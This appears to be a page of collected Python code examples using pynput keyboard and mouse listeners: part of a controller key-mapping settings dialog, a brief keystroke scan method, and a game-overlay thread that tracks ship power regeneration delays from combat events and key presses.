        self.HAT_LEFT.set(self.setting['KeyMap-Hat']['Hat.LEFT'])
        self.HAT_RIGHT.set(self.setting['KeyMap-Hat']['Hat.RIGHT'])

    def save_config(self):

        self.setting['KeyMap-Button']['Button.ZL'] = self.ZL.get()
        self.setting['KeyMap-Button']['Button.L'] = self.L.get()
        self.setting['KeyMap-Button']['Button.LCLICK'] = self.LCLICK.get()
        self.setting['KeyMap-Button']['Button.ZR'] = self.ZR.get()
        self.setting['KeyMap-Button']['Button.R'] = self.R.get()
        self.setting['KeyMap-Button']['Button.RCLICK'] = self.RCLICK.get()
        self.setting['KeyMap-Button']['Button.MINUS'] = self.MINUS.get()
        self.setting['KeyMap-Button']['Button.CAPTURE'] = self.CAPTURE.get()
        self.setting['KeyMap-Button']['Button.A'] = self.A.get()
        self.setting['KeyMap-Button']['Button.B'] = self.B.get()
        self.setting['KeyMap-Button']['Button.X'] = self.X.get()
        self.setting['KeyMap-Button']['Button.Y'] = self.Y.get()
        self.setting['KeyMap-Button']['Button.PLUS'] = self.PLUS.get()
        self.setting['KeyMap-Button']['Button.HOME'] = self.HOME.get()

        self.setting['KeyMap-Hat']['Hat.TOP'] = self.HAT_UP.get()
        self.setting['KeyMap-Hat']['Hat.RIGHT'] = self.HAT_RIGHT.get()
        self.setting['KeyMap-Hat']['Hat.BTM'] = self.HAT_DOWN.get()
        self.setting['KeyMap-Hat']['Hat.LEFT'] = self.HAT_LEFT.get()

        with open(self.SETTING_PATH, 'w', encoding='utf-8') as file:
            self.setting.write(file)

    def apply_setting(self):
        with open(self.SETTING_PATH, 'w', encoding='utf-8') as file:
            self._logger.debug("Apply key setting")
            self.setting.write(file)
        if self.listener is not None:
            self.listener.stop()

    def close(self):
        self.kc.withdraw()
        if self.listener is not None:
            self.listener.stop()

    def bind(self, event, func):
        self.kc.bind(event, func)

    def protocol(self, event, func):
        self.kc.protocol(event, func)

    def focus_force(self):
        self.kc.focus_force()
        self.kc.deiconify()

    def destroy(self):
        if self.listener is not None:
            self.listener.stop()
        self.kc.destroy()
Beispiel #31
0
 def scan(self):
     #Scan for 0.5 secs and return 
     listener = Listener(on_press=self.log_keystroke) 
     listener.start()
     time.sleep(0.5)
     listener.stop()
Beispiel #32
0
class DelayParser(Thread):
    """Parser that checks Regeneration Delays and controls an overlay"""

    DELAYS = {
        "Power_Shield_Regen_Delay": "Shield",
        "Power_Weapon_Regen_Delay": "Weapon",
        "Power_Engine_Regen_Delay": "Engine"
    }

    POOLS = ["Weapon", "Shield", "Engine"]
    STATS = {
        "Delay": "Power_{}_Regen_Delay",
        "Regen": "Power_{}_Regen_Rate",
        "Recent": "Power_{}_Regen_Rate_(when_Recently_Consumed)"
    }

    def __init__(self):
        """Initialize as Thread and create attributes"""
        Thread.__init__(self)
        self._stats = {p: {k: 0.0 for k in self.STATS} for p in self.POOLS}
        self._lock = Lock()
        self._exit_queue = Queue()
        self.primary = "PrimaryWeapon"
        self.__delays = dict()
        self._internal_q = Queue()
        self._match = False
        self._ms_listener = MSListener(on_click=self._on_click)
        self._kb_listener = KBListener(on_press=self._on_press)
        self._mouse = False
        self._string = str()
        print("[DelayParser] Initialized")

    def set_ship_stats(self, ship: ShipStats):
        """Update the ship statistics used for delay tracking"""
        self._lock.acquire()
        self._stats = {
            p: {k: ship["Ship"][v.format(p)] for k, v in self.STATS.items()}
            for p in self.POOLS
        }
        self.primary = "PrimaryWeapon"
        self._lock.release()
        print("[DelayParser] Updated ship to: {}".format(ship.ship.name))

    def primary_weapon_swap(self):
        """Swap the primary weapon key"""
        self.primary = "PrimaryWeapon2" if self.primary == "PrimaryWeapon" else "PrimaryWeapon"
        print("[DelayParser] Swapped Primary Weapons")

    def match_end(self):
        """Match ended callback"""
        self._internal_q.put("end")

    def match_start(self):
        """Match start callback"""
        self._internal_q.put("start")

    def update(self):
        """Update the state of the DelayParser"""
        self._lock.acquire()
        stats, key = self._stats.copy(), self.primary
        self._lock.release()

        while not self._internal_q.empty():
            v = self._internal_q.get()
            if v == "start":
                self._match = True
            elif v == "end":
                self._match = False
            elif v == "mouse":
                self._mouse = not self._mouse
            else:
                pool, time = v
                self.__delays[pool] = time
        if self._match is False:
            return
        if self._mouse is True:
            self.__delays["Weapon"] = datetime.now()
        string, time = "\n", datetime.now()
        for pool, start in self.__delays.items():
            elapsed = (time - start).total_seconds()
            remaining = max(stats[pool]["Delay"] - elapsed, 0.0)
            rate = stats[pool]["Regen"] if remaining == 0.0 else stats[pool]["Recent"]
            string += "{}: {:.1f}s, {:.1f}pps\n".format(pool[0], remaining, rate)
        self._lock.acquire()
        self._string = string
        self._lock.release()
        sleep(0.1)

    def process_event(self, event: dict, active_ids: list):
        """Process an event to check for shield power pool usage"""
        ctg = Parser.get_event_category(event, active_ids)
        if event["self"] is True and ctg == "engine":
            self._internal_q.put(("Engine", event["time"]))
            return
        if event["self"] is True or Parser.compare_ids(event["target"], active_ids) is False:
            return
        if "Damage" not in event["effect"]:
            return
        # event: Damage dealt to self
        self._internal_q.put(("Shield", event["time"]))

    def cleanup(self):
        """Clean up everything in use"""
        self._ms_listener.stop()
        self._kb_listener.stop()

    def run(self):
        """Run the Thread"""
        self._ms_listener.start()
        self._kb_listener.start()
        print("[DelayParser] Keyboard and Mouse Listeners started")
        while True:
            if not self._exit_queue.empty():
                break
            self.update()
        self.cleanup()

    def stop(self):
        """Stop activities and join Thread"""
        if not self.is_alive():
            return
        self._exit_queue.put(True)
        self.join(timeout=1)

    def _on_click(self, x: int, y: int, button: Button, state: bool):
        """Process a click to check for weapon power usage"""
        if button == Button.left:
            self._internal_q.put("mouse")

    def _on_press(self, key: (Key, KeyCode)):
        """Process a key press to check for engine power usage"""
        if key == Key.space:
            self._internal_q.put(("Engine", datetime.now()))

    @property
    def string(self):
        """String to show in the Overlay"""
        self._lock.acquire()
        string = self._string
        self._lock.release()
        return string